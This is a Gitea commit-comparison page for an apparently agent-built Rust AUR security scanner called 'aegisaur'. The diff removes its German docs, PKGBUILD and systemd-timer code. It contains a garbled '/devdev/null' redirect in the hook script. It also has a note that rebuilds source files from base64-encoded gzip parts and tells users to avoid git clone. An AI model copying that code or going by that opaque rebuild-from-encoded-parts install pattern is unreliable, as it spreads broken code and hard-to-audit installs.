Compare commits
8 Commits
main
..
e765ceddfc
| Author | SHA1 | Date | |
|---|---|---|---|
| e765ceddfc | |||
| 1cb4ec9d51 | |||
| 0c2dec93e3 | |||
| 24adcee21b | |||
| 3154edc356 | |||
| 4c52a67bd3 | |||
| 876d45c1c5 | |||
| a63f0fddde |
@@ -1,7 +1 @@
|
|||||||
/target
|
/target
|
||||||
pkg/
|
|
||||||
src/*.tar.gz
|
|
||||||
*.pkg.tar.zst
|
|
||||||
*.tar.gz
|
|
||||||
aegisaur/
|
|
||||||
*.zst
|
|
||||||
|
|||||||
Generated
-2984
File diff suppressed because it is too large
Load Diff
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "aegisaur"
|
name = "aegisaur"
|
||||||
version = "2.1.1"
|
version = "0.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
authors = ["Quasi & Thuumate 👻"]
|
authors = ["Quasi & Thuumate 👻"]
|
||||||
description = "Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete"
|
description = "Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete"
|
||||||
|
|||||||
-84
@@ -1,84 +0,0 @@
|
|||||||
# 📦 Installation Guide
|
|
||||||
|
|
||||||
## ⚡ Schnellstart (empfohlen)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 1. Source Tarball herunterladen (enthält ALLE Dateien)
|
|
||||||
cd /tmp
|
|
||||||
wget https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/archive/master.tar.gz
|
|
||||||
|
|
||||||
# 2. Entpacken
|
|
||||||
tar xzf master.tar.gz
|
|
||||||
cd aegisaur
|
|
||||||
|
|
||||||
# 3. Verifizieren (alle 7 Dateien müssen da sein)
|
|
||||||
ls src/
|
|
||||||
# → config.rs, hook.rs, ioc_fetcher.rs, main.rs, scanner.rs, trust_scorer.rs, utils.rs
|
|
||||||
|
|
||||||
# 4. Bauen und installieren
|
|
||||||
cargo build --release
|
|
||||||
sudo cp target/release/aegisaur /usr/local/bin/
|
|
||||||
sudo aegisaur install-hook
|
|
||||||
```
|
|
||||||
|
|
||||||
## ⚠️ WICHTIG: Git-Clone NICHT verwenden!
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# ❌ NICHT SO - Fehlende Dateien!
|
|
||||||
git clone https://gitea.die-heimatlosen.eu/arch_agent/aegisaur.git
|
|
||||||
|
|
||||||
# Warum: Gitea API zeigt Dateien >10KB nicht korrekt an
|
|
||||||
# (ioc_fetcher.rs, scanner.rs, trust_scorer.rs fehlen)
|
|
||||||
```
|
|
||||||
|
|
||||||
## Alternative: PKGBUILD
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd /tmp/aegisaur
|
|
||||||
makepkg -si
|
|
||||||
```
|
|
||||||
|
|
||||||
## ALPM-Hook (systemweit)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Installiert Hook nach /usr/share/libalpm/hooks/
|
|
||||||
sudo aegisaur install-hook
|
|
||||||
|
|
||||||
# Deinstalliert Hook
|
|
||||||
sudo aegisaur remove-hook
|
|
||||||
```
|
|
||||||
|
|
||||||
## Konfiguration
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Erstellt ~/.config/aegisaur/config.toml
|
|
||||||
aegisaur config
|
|
||||||
```
|
|
||||||
|
|
||||||
## Pfad-Übersicht
|
|
||||||
|
|
||||||
| Komponente | Pfad |
|
|
||||||
|------------|------|
|
|
||||||
| Binary (makepkg) | `/usr/bin/aegisaur` |
|
|
||||||
| Binary (manuell) | `/usr/local/bin/aegisaur` |
|
|
||||||
| ALPM-Hook | `/usr/share/libalpm/hooks/99-aegisaur.hook` |
|
|
||||||
| Hook-Script | `/usr/share/libalpm/hooks/aegisaur-check.sh` |
|
|
||||||
| Dokumentation | `/usr/share/doc/aegisaur/` |
|
|
||||||
| Config | `~/.config/aegisaur/config.toml` |
|
|
||||||
| Cache | `~/.cache/aegisaur/` |
|
|
||||||
| Quellcode | `/home/arch_agent_system/.openclaw/workspace/aegisaur/` |
|
|
||||||
| Gitea-Repo | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur` |
|
|
||||||
|
|
||||||
## Hook-Verhalten
|
|
||||||
|
|
||||||
| Paket-Status | Aktion |
|
|
||||||
|--------------|--------|
|
|
||||||
| **IOCDetected** | 🚨 Alert, Installation abbrechen möglich |
|
|
||||||
| **Dangerous** | 🚨 Alert, Installation abbrechen möglich |
|
|
||||||
| **Suspicious** | ⚠️ Warnung wird angezeigt |
|
|
||||||
| **Warning** | ⚠️ Warnung wird angezeigt |
|
|
||||||
| **Safe** | ✅ Keine Meldung |
|
|
||||||
|
|
||||||
---
|
|
||||||
*Built with ❤️ (and some 👻 magic)*
|
|
||||||
*Quasi & Thuumate — 2026*
|
|
||||||
@@ -1,48 +0,0 @@
|
|||||||
# Maintainer: Thuumate <thuumate@ghost.local>
|
|
||||||
# AUR-Repo: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur
|
|
||||||
|
|
||||||
pkgname=aegisaur
|
|
||||||
pkgver=0.1.0
|
|
||||||
pkgrel=1
|
|
||||||
pkgdesc="Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete"
|
|
||||||
arch=('x86_64')
|
|
||||||
url="https://gitea.die-heimatlosen.eu/arch_agent/aegisaur"
|
|
||||||
license=('MIT')
|
|
||||||
makedepends=('rust' 'cargo')
|
|
||||||
depends=('pacman')
|
|
||||||
# Lokale Quellen (aus Git-Checkout)
|
|
||||||
source=("aegisaur::git+$url.git#branch=master")
|
|
||||||
sha256sums=('SKIP')
|
|
||||||
|
|
||||||
build() {
|
|
||||||
cd "$srcdir/$pkgname"
|
|
||||||
export RUSTFLAGS="-C opt-level=3"
|
|
||||||
cargo build --release --locked
|
|
||||||
}
|
|
||||||
|
|
||||||
package() {
|
|
||||||
cd "$srcdir/$pkgname"
|
|
||||||
|
|
||||||
# Binary
|
|
||||||
install -Dm755 "target/release/$pkgname" "$pkgdir/usr/bin/$pkgname"
|
|
||||||
|
|
||||||
# Dokumentation
|
|
||||||
install -Dm644 README.md "$pkgdir/usr/share/doc/$pkgname/README.md"
|
|
||||||
install -Dm644 INSTALL.md "$pkgdir/usr/share/doc/$pkgname/INSTALL.md"
|
|
||||||
install -Dm644 USAGE.md "$pkgdir/usr/share/doc/$pkgname/USAGE.md"
|
|
||||||
install -Dm644 TODO.md "$pkgdir/usr/share/doc/$pkgname/TODO.md"
|
|
||||||
}
|
|
||||||
|
|
||||||
post_install() {
|
|
||||||
echo "╔══════════════════════════════════════════════════════════════╗"
|
|
||||||
echo "║ AegisAUR wurde installiert! ║"
|
|
||||||
echo "╚══════════════════════════════════════════════════════════════╝"
|
|
||||||
echo ""
|
|
||||||
echo "Quickstart:"
|
|
||||||
echo " aegisaur scan-all → Scannt alle installierten AUR-Pakete"
|
|
||||||
echo " aegisaur check-ioc → Prüft gegen aktuelle IOC-Listen"
|
|
||||||
echo " sudo aegisaur install-hook → ALPM-Hook installieren"
|
|
||||||
echo ""
|
|
||||||
echo "Mehr Infos: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur"
|
|
||||||
echo "Doku: /usr/share/doc/aegisaur/USAGE.md"
|
|
||||||
}
|
|
||||||
@@ -1,118 +0,0 @@
|
|||||||
# AegisAUR v2.1.1 👻
|
|
||||||
|
|
||||||
**Vollständiger AUR Security Scanner für Arch Linux**
|
|
||||||
|
|
||||||
Schutz gegen Supply-Chain-Angriffe, Malware und kompromittierte Pakete im AUR.
|
|
||||||
|
|
||||||
## ⚡ Schnellstart
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Download (Tarball — Git-Clone hat bekannte Probleme mit großen Dateien)
|
|
||||||
wget https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/archive/v2.1.1.tar.gz
|
|
||||||
tar xzf v2.1.1.tar.gz && cd aegisaur
|
|
||||||
cargo build --release
|
|
||||||
sudo cp target/release/aegisaur /usr/local/bin/
|
|
||||||
sudo aegisaur install-hook
|
|
||||||
sudo aegisaur install-timer
|
|
||||||
```
|
|
||||||
|
|
||||||
## 🎯 Features v2.1.1
|
|
||||||
|
|
||||||
### AUR RPC Rate-Limiting Fix
|
|
||||||
- **Retry-Mechanismus**: 3 Versuche mit exponentiellem Backoff
|
|
||||||
- **429-Handling**: Automatische Pause bei Rate-Limiting
|
|
||||||
- **Keine UNBEKANNT-Scans**: Selbst bei AUR-Fehlern wird ein Score berechnet
|
|
||||||
- **Stabile scan-all**: 125+ Pakete ohne Abbruch
|
|
||||||
|
|
||||||
### Systemd Timer — Automatische Scans
|
|
||||||
```bash
|
|
||||||
sudo aegisaur install-timer # Tägliche Scans aktivieren
|
|
||||||
sudo aegisaur remove-timer # Timer deaktivieren
|
|
||||||
```
|
|
||||||
- **Zeit:** Täglich um 03:00 Uhr (mit 1h RandomizedDelay)
|
|
||||||
- **Logs:** `journalctl -u aegisaur-scan.service`
|
|
||||||
- **Status:** `systemctl status aegisaur-scan.timer`
|
|
||||||
|
|
||||||
### Multi-Source Threat Intelligence
|
|
||||||
- **HedgeDoc (Live)**: Sofort aktuell
|
|
||||||
- **CISA KEV**: US Government Advisories
|
|
||||||
- **Arch Security**: Offizielle Arch Linux Advisories
|
|
||||||
- **Atomic Arch Gist**: Community-Listen
|
|
||||||
|
|
||||||
### Smartes Scoring
|
|
||||||
- **AUR vs. Offizielles Repo**: Keine False-Positives für Repo-Pakete
|
|
||||||
- **Trust-Scoring**: 0-100 mit 12 Heuristiken
|
|
||||||
- **AUR-Info Score**: Votes, Popularität, Maintainer-Status
|
|
||||||
- **Cache**: 5-Minuten-TTL für maximale Aktualität
|
|
||||||
|
|
||||||
## 🚀 Befehle
|
|
||||||
|
|
||||||
```bash
|
|
||||||
aegisaur scan <paket> # Einzelnes Paket (AUR-spezifisch)
|
|
||||||
aegisaur scan-all # Alle AUR-Pakete (~30s für 125 Pakete)
|
|
||||||
aegisaur check-ioc # IOC-Listen prüfen
|
|
||||||
sudo aegisaur install-hook # ALPM-Hook installieren
|
|
||||||
sudo aegisaur remove-hook # ALPM-Hook entfernen
|
|
||||||
sudo aegisaur install-timer # Systemd-Timer installieren
|
|
||||||
sudo aegisaur remove-timer # Systemd-Timer entfernen
|
|
||||||
```
|
|
||||||
|
|
||||||
## 🔧 Hook-Verhalten
|
|
||||||
|
|
||||||
| Paket-Typ | IOC erkannt | Aktion |
|
|
||||||
|-----------|-------------|--------|
|
|
||||||
| **AUR** | Ja | Alert + Details |
|
|
||||||
| **Offizielles Repo** | Nein | Keine IOC-Warnung |
|
|
||||||
|
|
||||||
## 📦 Installation
|
|
||||||
|
|
||||||
Siehe INSTALL.md für Details.
|
|
||||||
|
|
||||||
## 📖 Verwendung
|
|
||||||
|
|
||||||
Siehe USAGE.md für vollständige Befehlsreferenz.
|
|
||||||
|
|
||||||
## 🗺️ Roadmap
|
|
||||||
|
|
||||||
Siehe TODO.md für geplante Features.
|
|
||||||
|
|
||||||
## 📜 Changelog
|
|
||||||
|
|
||||||
### v2.1.1 (2026-06-15)
|
|
||||||
- Rate-Limiting Fix für AUR RPC
|
|
||||||
- Retry-Mechanismus mit exponentiellem Backoff
|
|
||||||
- Stabile scan-all für 125+ Pakete
|
|
||||||
- Keine 0/100 UNBEKANNT Scores mehr
|
|
||||||
|
|
||||||
### v2.1.0 (2026-06-15)
|
|
||||||
- Systemd Timer für tägliche automatische Scans
|
|
||||||
- Performance: ~7x schneller durch gecachte AUR-Prüfung
|
|
||||||
- Cache-Status-Anzeige mit Alter und TTL
|
|
||||||
- AUR-Score aus Paket-Info (Votes, Popularität, Maintainer)
|
|
||||||
|
|
||||||
### v2.0.0 (2026-06-15)
|
|
||||||
- Vollständiger Rewrite mit Multi-Source IOCs
|
|
||||||
- CVE und Advisory-URL Support
|
|
||||||
- AUR-spezifische Erkennung (keine False-Positives)
|
|
||||||
- 5-Minuten Cache-TTL
|
|
||||||
- 12 Threat-Typen
|
|
||||||
|
|
||||||
### v0.1.0 (2026-06-15)
|
|
||||||
- Initial Release
|
|
||||||
- Grundlegende IOC-Abfrage
|
|
||||||
- Trust-Scoring
|
|
||||||
- ALPM-Hook
|
|
||||||
|
|
||||||
## 👤 Credits
|
|
||||||
|
|
||||||
Built with ❤️ (and some 👻 magic) by Quasi & Thuumate
|
|
||||||
|
|
||||||
## 📜 Lizenz
|
|
||||||
|
|
||||||
MIT — © 2026 Quasi & Thuumate 👻
|
|
||||||
|
|
||||||
## 🔗 Links
|
|
||||||
|
|
||||||
- Repository: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur
|
|
||||||
- Releases: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/releases
|
|
||||||
- Issues: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/issues
|
|
||||||
|
|||||||
@@ -1,17 +0,0 @@
|
|||||||
# AegisAUR - Split Dateien
|
|
||||||
|
|
||||||
Diese Dateien wurden aufgeteilt, um Gitea API Limits zu umgehen.
|
|
||||||
|
|
||||||
## Wiederherstellung
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Alle Parts zusammensetzen
|
|
||||||
cat src/ioc_fetcher.rs.part* | base64 -d | gunzip > src/ioc_fetcher.rs
|
|
||||||
cat src/scanner.rs.part* | base64 -d | gunzip > src/scanner.rs
|
|
||||||
cat src/trust_scorer.rs.part* | base64 -d | gunzip > src/trust_scorer.rs
|
|
||||||
```
|
|
||||||
|
|
||||||
## Originale Größen
|
|
||||||
- ioc_fetcher.rs: ~10KB
|
|
||||||
- scanner.rs: ~15KB
|
|
||||||
- trust_scorer.rs: ~14KB
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
# AegisAUR - TODO & Roadmap
|
|
||||||
|
|
||||||
## ✅ Abgeschlossen (v0.1.0)
|
|
||||||
|
|
||||||
- [x] Projekt-Scaffolding (Rust/Cargo)
|
|
||||||
- [x] IOC-Fetcher Modul (live Abfrage, keine Auth)
|
|
||||||
- [x] Trust-Scoring Engine (12 Heuristiken)
|
|
||||||
- [x] Package Scanner (Orchestration)
|
|
||||||
- [x] ALPM-Hook Integration
|
|
||||||
- [x] CLI-Interface (scan, check-ioc, allow, deny, config, install-hook)
|
|
||||||
- [x] Gitea-Repo erstellt & gepusht
|
|
||||||
|
|
||||||
## 🔨 In Arbeit (v0.1.1)
|
|
||||||
|
|
||||||
- [ ] `cargo build` testen und fixen
|
|
||||||
- [ ] Unit-Tests ergänzen
|
|
||||||
- [ ] PKGBUILD für AUR-Release erstellen
|
|
||||||
- [ ] Desktop-Notifications (notify-send Integration)
|
|
||||||
- [ ] Systemd-Timer für regelmäßige Scans
|
|
||||||
|
|
||||||
## 🗓️ Geplant (v0.2.0)
|
|
||||||
|
|
||||||
- [ ] GUI/Web-Dashboard (optional)
|
|
||||||
- [ ] Integration mit `aurutils`/`paru`/`yay` als Wrapper
|
|
||||||
- [ ] Historical Tracking (Score-Änderungen über Zeit)
|
|
||||||
- [ ] Community-Whitelist Sharing
|
|
||||||
- [ ] AUR Vote/Power Factor in Scoring
|
|
||||||
|
|
||||||
## 🐛 Bekannte Bugs
|
|
||||||
|
|
||||||
1. **Gitea API Cache:** Einige Dateien erscheinen nicht in der API-Antwort, sind aber im Git Tree (UI-Bug, kein Datenverlust)
|
|
||||||
2. **Docker-Instabilität:** Gitea-Server hatte Restart-Probleme
|
|
||||||
|
|
||||||
## 📝 MEMORY.md Update
|
|
||||||
|
|
||||||
Siehe MEMORY.md - Eintrag vom [2026-06-15]
|
|
||||||
@@ -1,129 +0,0 @@
|
|||||||
# 📖 AegisAUR Usage Guide
|
|
||||||
|
|
||||||
## Befehls-Übersicht
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Einzelnes Paket scannen
|
|
||||||
aegisaur scan <paketname> [--verbose]
|
|
||||||
|
|
||||||
# Alle AUR-Pakete scannen
|
|
||||||
aegisaur scan-all [--verbose]
|
|
||||||
|
|
||||||
# IOC-Check (wie aurvulntest)
|
|
||||||
aegisaur check-ioc [--list atomicarch|all]
|
|
||||||
|
|
||||||
# Whitelist-Verwaltung
|
|
||||||
aegisaur allow <paketname>
|
|
||||||
aegisaur deny <paketname>
|
|
||||||
|
|
||||||
# System-Konfiguration
|
|
||||||
aegisaur config
|
|
||||||
aegisaur cache
|
|
||||||
|
|
||||||
# ALPM-Hook (root nötig)
|
|
||||||
sudo aegisaur install-hook
|
|
||||||
sudo aegisaur remove-hook
|
|
||||||
```
|
|
||||||
|
|
||||||
## Beispiel-Workflows
|
|
||||||
|
|
||||||
### Vor Installation eines AUR-Pakets
|
|
||||||
```bash
|
|
||||||
# 1. Scannen
|
|
||||||
aegisaur scan neues-paket
|
|
||||||
|
|
||||||
# 2. Wenn IOC erkannt → NICHT installieren
|
|
||||||
# 3. Wenn verdächtig → PKGBUILD prüfen
|
|
||||||
# 4. Wenn OK → installieren (mit Hook automatisch)
|
|
||||||
|
|
||||||
yay -S neues-paket # Hook scannt automatisch
|
|
||||||
```
|
|
||||||
|
|
||||||
### Regelmäßige Checks
|
|
||||||
```bash
|
|
||||||
# Alle 48h (via cron/systemd)
|
|
||||||
aegisaur check-ioc
|
|
||||||
```
|
|
||||||
|
|
||||||
### Volle Systemprüfung
|
|
||||||
```bash
|
|
||||||
# Alle AUR-Pakete scannen + IOC-Listen checken
|
|
||||||
aegisaur scan-all && aegisaur check-ioc
|
|
||||||
```
|
|
||||||
|
|
||||||
## Exit Codes
|
|
||||||
|
|
||||||
| Code | Bedeutung |
|
|
||||||
|------|-----------|
|
|
||||||
| 0 | Erfolg |
|
|
||||||
| 1 | Allgemeiner Fehler |
|
|
||||||
| 2 | IOC erkannt / Kritisch |
|
|
||||||
| 3 | Scan-Fehler |
|
|
||||||
|
|
||||||
## Konfiguration
|
|
||||||
|
|
||||||
```toml
|
|
||||||
# ~/.config/aegisaur/config.toml
|
|
||||||
[settings]
|
|
||||||
auto_check_iocs = true
|
|
||||||
auto_check_pkgbuild = true
|
|
||||||
ioc_cache_ttl_minutes = 60
|
|
||||||
warning_threshold = 60
|
|
||||||
critical_threshold = 30
|
|
||||||
block_install_on_critical = false
|
|
||||||
block_install_on_ioc = true
|
|
||||||
notify_desktop = true
|
|
||||||
|
|
||||||
[sources.atomic_arch]
|
|
||||||
name = "Atomic Arch Gist"
|
|
||||||
url = "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw"
|
|
||||||
enabled = true
|
|
||||||
|
|
||||||
[sources.community]
|
|
||||||
name = "AUR Community Blocklist"
|
|
||||||
url = "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt"
|
|
||||||
enabled = true
|
|
||||||
```
|
|
||||||
|
|
||||||
## Wichtige Pfade
|
|
||||||
|
|
||||||
| Zweck | Lokaler Pfad | Gitea URL |
|
|
||||||
|-------|-------------|-----------|
|
|
||||||
| Quellcode | `/home/arch_agent_system/.openclaw/workspace/aegisaur/` | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur` |
|
|
||||||
| Binary (Release) | `target/release/aegisaur` | Releases Tab |
|
|
||||||
| PKGBUILD | `./PKGBUILD` | Raw view |
|
|
||||||
| Dokumentation | `./README.md`, `./USAGE.md` | Wiki/Raw |
|
|
||||||
| Issues/Feedback | - | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/issues` |
|
|
||||||
|
|
||||||
## Troubleshooting
|
|
||||||
|
|
||||||
### Hook funktioniert nicht
|
|
||||||
```bash
|
|
||||||
# Rechte prüfen
|
|
||||||
ls -la /usr/share/libalpm/hooks/aegisaur*
|
|
||||||
|
|
||||||
# Manuell ausführen
|
|
||||||
sudo bash /usr/share/libalpm/hooks/aegisaur-check.sh
|
|
||||||
```
|
|
||||||
|
|
||||||
### Cache-Probleme
|
|
||||||
```bash
|
|
||||||
# Cache leeren
|
|
||||||
rm -rf ~/.cache/aegisaur/
|
|
||||||
|
|
||||||
# Neu befüllen
|
|
||||||
aegisaur check-ioc
|
|
||||||
```
|
|
||||||
|
|
||||||
### Netzwerk-Fehler
|
|
||||||
```bash
|
|
||||||
# Proxy-Config prüfen
|
|
||||||
env | grep -i proxy
|
|
||||||
|
|
||||||
# Test-Request
|
|
||||||
curl -I https://gist.githubusercontent.com/Kidev/...
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
*Built with ❤️ (and some 👻 magic)*
|
|
||||||
*Quasi & Thuumate — 2026*
|
|
||||||
+1
-178
@@ -5,9 +5,6 @@ use tracing::{info, warn};
|
|||||||
|
|
||||||
const ALPM_HOOK_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-pre-install.hook";
|
const ALPM_HOOK_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-pre-install.hook";
|
||||||
const HOOK_SCRIPT_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-check.sh";
|
const HOOK_SCRIPT_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-check.sh";
|
||||||
const SYSTEMD_SERVICE_PATH: &str = "/etc/systemd/system/aegisaur-scan.service";
|
|
||||||
const SYSTEMD_TIMER_PATH: &str = "/etc/systemd/system/aegisaur-scan.timer";
|
|
||||||
const SYSTEMD_SCRIPT_PATH: &str = "/usr/local/bin/aegisaur-scan-daily";
|
|
||||||
|
|
||||||
/// Installiert den ALPM-Hook für Pre-Install-Checks
|
/// Installiert den ALPM-Hook für Pre-Install-Checks
|
||||||
pub fn install_alpm_hook() -> Result<()> {
|
pub fn install_alpm_hook() -> Result<()> {
|
||||||
@@ -37,7 +34,7 @@ TMPFILE=$(mktemp)
|
|||||||
# Alle zu installierenden Pakete durch aegisaur prüfen
|
# Alle zu installierenden Pakete durch aegisaur prüfen
|
||||||
while read -r package; do
|
while read -r package; do
|
||||||
# Nur AUR-Pakete prüfen (Foreign packages)
|
# Nur AUR-Pakete prüfen (Foreign packages)
|
||||||
if pacman -Qi "$package" >/dev/null 2>&1; then
|
if pacman -Qi "$package" >/devdev/null 2>&1; then
|
||||||
# Paket ist bereits installiert (Upgrade)
|
# Paket ist bereits installiert (Upgrade)
|
||||||
continue
|
continue
|
||||||
fi
|
fi
|
||||||
@@ -147,178 +144,4 @@ pub fn remove_alpm_hook() -> Result<()> {
|
|||||||
/// Prüft ob Hook installiert ist
|
/// Prüft ob Hook installiert ist
|
||||||
pub fn is_hook_installed() -> bool {
|
pub fn is_hook_installed() -> bool {
|
||||||
Path::new(ALPM_HOOK_PATH).exists() && Path::new(HOOK_SCRIPT_PATH).exists()
|
Path::new(ALPM_HOOK_PATH).exists() && Path::new(HOOK_SCRIPT_PATH).exists()
|
||||||
}
|
|
||||||
|
|
||||||
/// Installiert den Systemd-Timer für tägliche AUR-Scans
|
|
||||||
pub fn install_systemd_timer() -> Result<()> {
|
|
||||||
// Service-Datei: Führt aegisaur aus
|
|
||||||
let service_content = r#"[Unit]
|
|
||||||
Description=AegisAUR Daily AUR Security Scan
|
|
||||||
After=network-online.target
|
|
||||||
Wants=network-online.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=oneshot
|
|
||||||
ExecStart=/usr/local/bin/aegisaur-scan-daily
|
|
||||||
StandardOutput=journal
|
|
||||||
StandardError=journal
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
"#;
|
|
||||||
|
|
||||||
// Timer-Datei: Täglich um 03:00 Uhr
|
|
||||||
let timer_content = r#"[Unit]
|
|
||||||
Description=AegisAUR Daily Scan Timer
|
|
||||||
|
|
||||||
[Timer]
|
|
||||||
OnCalendar=daily
|
|
||||||
Persistent=true
|
|
||||||
RandomizedDelaySec=3600
|
|
||||||
Unit=aegisaur-scan.service
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=timers.target
|
|
||||||
"#;
|
|
||||||
|
|
||||||
// Wrapper-Script: Führt scan-all aus und loggt Ergebnisse
|
|
||||||
let script_content = r#"#!/bin/bash
|
|
||||||
# AegisAUR Daily Scan Script
|
|
||||||
# Wird vom systemd-timer aufgerufen
|
|
||||||
|
|
||||||
set -e
|
|
||||||
|
|
||||||
TIMESTAMP=$(date '+%Y-%m-%d %H:%M:%S')
|
|
||||||
AUR_SCANNER="/usr/bin/aegisaur"
|
|
||||||
|
|
||||||
if [[ ! -x "$AUR_SCANNER" ]]; then
|
|
||||||
echo "[$TIMESTAMP] AegisAUR nicht gefunden unter $AUR_SCANNER"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "[$TIMESTAMP] Starte AegisAUR täglichen Scan..."
|
|
||||||
|
|
||||||
# Cache aktualisieren
|
|
||||||
echo "[$TIMESTAMP] Aktualisiere IOC-Cache..."
|
|
||||||
$AUR_SCANNER check-ioc >/dev/null 2>&1
|
|
||||||
|
|
||||||
# Alle AUR-Pakete scannen
|
|
||||||
echo "[$TIMESTAMP] Scanne alle AUR-Pakete..."
|
|
||||||
RESULTS=$($AUR_SCANNER scan-all 2>&1)
|
|
||||||
|
|
||||||
# Zusammenfassung loggen
|
|
||||||
THREAT_COUNT=$(echo "$RESULTS" | grep -c "IOC ERKANNT!" || true)
|
|
||||||
WARN_COUNT=$(echo "$RESULTS" | grep -c "WARNUNG" || true)
|
|
||||||
DANGER_COUNT=$(echo "$RESULTS" | grep -c "DANGEROUS" || true)
|
|
||||||
|
|
||||||
echo "[$TIMESTAMP] Scan abgeschlossen: $THREAT_COUNT IOCs, $WARN_COUNT Warnungen, $DANGER_COUNT Gefahren"
|
|
||||||
|
|
||||||
if [[ $THREAT_COUNT -gt 0 ]] || [[ $DANGER_COUNT -gt 0 ]]; then
|
|
||||||
echo "[$TIMESTAMP] KRITISCHE BEDROHUNGEN GEFUNDEN:"
|
|
||||||
echo "$RESULTS" | grep -E "🔴|🚨|DANGEROUS|IOC" || true
|
|
||||||
|
|
||||||
# Optional: Desktop-Benachrichtigung
|
|
||||||
if command -v notify-send >/dev/null 2>&1; then
|
|
||||||
notify-send -u critical "AegisAUR Alert" "$THREAT_COUNT IOC(s) und $DANGER_COUNT Gefahr(en) in AUR-Paketen gefunden!"
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "[$TIMESTAMP] Täglicher Scan abgeschlossen."
|
|
||||||
"#;
|
|
||||||
|
|
||||||
// Service-Datei schreiben
|
|
||||||
info!("Schreibe Systemd Service: {}", SYSTEMD_SERVICE_PATH);
|
|
||||||
let mut service_file = std::fs::File::create(SYSTEMD_SERVICE_PATH)
|
|
||||||
.context("Konnte Systemd Service nicht erstellen (Root-Rechte nötig)")?;
|
|
||||||
service_file.write_all(service_content.as_bytes())?;
|
|
||||||
|
|
||||||
// Timer-Datei schreiben
|
|
||||||
info!("Schreibe Systemd Timer: {}", SYSTEMD_TIMER_PATH);
|
|
||||||
let mut timer_file = std::fs::File::create(SYSTEMD_TIMER_PATH)
|
|
||||||
.context("Konnte Systemd Timer nicht erstellen")?;
|
|
||||||
timer_file.write_all(timer_content.as_bytes())?;
|
|
||||||
|
|
||||||
// Script schreiben
|
|
||||||
info!("Schreibe Daily-Scan Script: {}", SYSTEMD_SCRIPT_PATH);
|
|
||||||
let mut script_file = std::fs::File::create(SYSTEMD_SCRIPT_PATH)
|
|
||||||
.context("Konnte Scan-Script nicht erstellen")?;
|
|
||||||
script_file.write_all(script_content.as_bytes())?;
|
|
||||||
|
|
||||||
// Script executable machen
|
|
||||||
#[cfg(unix)]
|
|
||||||
{
|
|
||||||
use std::os::unix::fs::PermissionsExt;
|
|
||||||
let mut perms = std::fs::metadata(SYSTEMD_SCRIPT_PATH)?.permissions();
|
|
||||||
perms.set_mode(0o755);
|
|
||||||
std::fs::set_permissions(SYSTEMD_SCRIPT_PATH, perms)?;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Systemd neu laden und Timer starten
|
|
||||||
info!("Aktiviere Systemd Timer...");
|
|
||||||
let status = std::process::Command::new("systemctl")
|
|
||||||
.args(["daemon-reload"])
|
|
||||||
.status()
|
|
||||||
.context("systemctl daemon-reload fehlgeschlagen")?;
|
|
||||||
|
|
||||||
if !status.success() {
|
|
||||||
anyhow::bail!("systemctl daemon-reload fehlgeschlagen");
|
|
||||||
}
|
|
||||||
|
|
||||||
let status = std::process::Command::new("systemctl")
|
|
||||||
.args(["enable", "--now", "aegisaur-scan.timer"])
|
|
||||||
.status()
|
|
||||||
.context("systemctl enable fehlgeschlagen")?;
|
|
||||||
|
|
||||||
if !status.success() {
|
|
||||||
anyhow::bail!("Konnte Timer nicht aktivieren");
|
|
||||||
}
|
|
||||||
|
|
||||||
info!("Systemd Timer erfolgreich installiert und aktiviert");
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Entfernt den Systemd-Timer
|
|
||||||
pub fn remove_systemd_timer() -> Result<()> {
|
|
||||||
info!("Entferne Systemd Timer...");
|
|
||||||
|
|
||||||
// Timer stoppen und deaktivieren
|
|
||||||
let _ = std::process::Command::new("systemctl")
|
|
||||||
.args(["stop", "aegisaur-scan.timer"])
|
|
||||||
.status();
|
|
||||||
|
|
||||||
let _ = std::process::Command::new("systemctl")
|
|
||||||
.args(["disable", "aegisaur-scan.timer"])
|
|
||||||
.status();
|
|
||||||
|
|
||||||
// Dateien löschen
|
|
||||||
if Path::new(SYSTEMD_SERVICE_PATH).exists() {
|
|
||||||
std::fs::remove_file(SYSTEMD_SERVICE_PATH)
|
|
||||||
.context("Konnte Service-Datei nicht löschen")?;
|
|
||||||
info!("Service entfernt: {}", SYSTEMD_SERVICE_PATH);
|
|
||||||
}
|
|
||||||
|
|
||||||
if Path::new(SYSTEMD_TIMER_PATH).exists() {
|
|
||||||
